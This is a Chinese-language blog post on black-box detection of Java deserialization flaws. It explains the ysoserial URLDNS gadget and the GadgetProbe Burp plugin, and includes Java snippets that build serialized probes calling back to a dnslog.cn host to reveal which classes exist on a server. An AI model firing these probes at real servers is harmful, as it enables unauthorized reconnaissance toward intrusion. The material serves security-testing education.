黑盒测java反序列化漏洞时,一般都得通过流量特征去挖掘,比如这款是结合burp:
https://github.com/federicodotta/JavaDeserializationScanner
找到匹配流量换成ysoserial生成的payload的直接打,一般在测漏洞时,我都是先用URLDNS这条gadget检测反序列化漏洞,然鹅,一个蛋疼的问题,不知道服务器上存在的危险类有哪些,一般是用ysoserial生成所有payload的去打,服务器设置策略可能URLDNS 53端口的流量能出来,其他的则不能,这就导致漏检。
在逛twitter时,发现了这个工具:
下面分析分析这款工具的原理:
URLDNS这条gadget还是比较好理解的:
简单来说,通过HashMap
的readObject
来触发,putVal
时候key进入了hash方法,调用key的
hashCode
方法,通过URLStreamHandler
这个类的hasCode
触发DNS查询。
payload构造就像下面这样,hasCode改为1是为了绕过缓存判断。
public Object getObject(final String url) throws Exception
{
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
自己调一下代码就理解URLdns是怎么触发的,这篇文章说的也很细:
理解了URLDNS,再来看看GadgetProbe这个工具的原理:
先生成序列化的gadget,edd8xa.dnslog.cn
是DNS平台的地址,服务器待检测的类:
com.bishopfox.gadgetprobe.GadgetProbe
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("o
bject.obj "));
GadgetProbe gp = new GadgetProbe("edd8xa.dnslog.cn"); Object obj = gp.getObject("com.bishopfox.gadgetprobe.GadgetPr
obe ");
oos.writeObject(obj); oos.flush(); oos.close();
生成对象的代码,u是检测的类名和dns平台的拼接,来到getOrGenerateClass
函数:
如果类在服务器上存在,加载类,反正通过Javassist生成一个类。
反序列化调用链跟URLDNS一样,如果这个类在服务器上存在,就会在dns平台上收到请求。
如果测试的类在服务器上不存在,就会抛出异常。
原理就是这样,工具这大哥已经写成burp的插件,暴力测试远程类是否在服务器上通过DNSLog回
显判断,地址在这里
用法也比较简单参考上面链接。